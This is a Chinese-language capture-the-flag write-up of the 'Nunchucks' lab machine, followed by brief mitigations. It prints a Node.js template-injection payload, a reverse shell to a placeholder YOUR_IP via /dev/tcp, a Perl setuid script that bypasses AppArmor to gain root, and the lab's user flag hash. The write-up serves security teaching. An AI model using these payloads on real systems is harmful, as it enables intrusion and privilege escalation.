[Meachines] [Easy] Nunchucks Express Nodejs SSTI+AppArmor Bypass+Perl权限提升
字数 1297 2025-08-22 12:23:36
Nunchucks Express Node.js SSTI + AppArmor Bypass + Perl权限提升教学文档
1. 信息收集阶段
1.1 初始扫描
目标IP: 10.10.11.122
开放端口:
- 22/tcp: OpenSSH 8.2p1 Ubuntu
- 80/tcp: nginx 1.18.0 (重定向到HTTPS)
- 443/tcp: nginx 1.18.0 (SSL)
SSL证书信息:
- 通用名称: nunchucks.htb
- 组织: Nunchucks-Certificates
- 地区: Dorset, UK
- 有效期: 2021-08-30 至 2031-08-28
- 备用DNS: localhost, nunchucks.htb
1.2 子域名枚举
使用ffuf工具枚举子域名:
ffuf -u https://nunchucks.htb/ -H 'Host: FUZZ.nunchucks.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -ac
发现子域名:
- store.nunchucks.htb
添加到hosts文件:
echo "10.10.11.122 nunchucks.htb store.nunchucks.htb" >> /etc/hosts
2. Express Node.js SSTI漏洞利用
2.1 发现API端点
通过查看store.nunchucks.htb的JavaScript文件(main.js)发现API端点:
POST /api/submit HTTP/1.1
Host: store.nunchucks.htb
Content-Type: application/json
{"email": "test@example.com"}
2.2 SSTI漏洞验证
Express Node.js应用可能存在服务器端模板注入(SSTI)漏洞。尝试注入模板表达式:
{"email": "{{7*7}}"}
如果返回结果包含"49",则确认存在SSTI漏洞。
2.3 利用SSTI获取RCE
构造恶意payload执行命令:
{"email": "<%= require('child_process').execSync('id') %>"}
3. 获取初始访问权限
成功利用SSTI后,可以获取反向shell:
{"email": "<%= require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/YOUR_IP/PORT 0>&1\"') %>"}
获取user.txt内容:
7cd2ec2b576f3a1054c8d5ece6da747a
4. 权限提升: AppArmor Bypass + Perl
4.1 检查AppArmor配置
查看Perl的AppArmor配置文件:
cat /etc/apparmor.d/usr.bin.perl
发现限制:
- 禁止读取/etc/nsswitch.conf
- 禁止访问/root/目录
- 禁止访问/etc/shadow
- 限制特定命令(id, ls, cat, whoami, backup.pl)
4.2 AppArmor与Perl的BUG
关键漏洞:
- 当脚本包含shebang行(如#!/usr/bin/perl)时,AppArmor的限制可能被绕过
- AppArmor无法区分脚本本身和由脚本调用的解释器
- 官方BUG报告: https://bugs.launchpad.net/apparmor/+bug/1911431
4.3 利用Perl提升权限
创建恶意Perl脚本:
cd /tmp
set +H
echo -e "#!/usr/bin/perl\nuse POSIX qw(setuid);\nPOSIX::setuid(0);\nexec \"/bin/bash\";" > root.pl
chmod +x root.pl
./root.pl
脚本说明:
- 使用POSIX模块的setuid函数
- 将进程UID设置为0(root)
- 执行/bin/bash获取root shell
4.4 获取root权限
执行上述脚本后,将获得root权限,可以访问root.txt文件。
5. 防御措施
5.1 防止SSTI
- 对用户输入进行严格过滤
- 使用安全的模板引擎配置
- 避免直接将用户输入传递给模板
5.2 防止AppArmor绕过
- 更新AppArmor到最新版本
- 审查和限制Perl的执行权限
- 监控可疑的Perl脚本执行
5.3 系统加固
- 定期更新系统和软件包
- 限制不必要的SUID/SGID权限
- 实施最小权限原则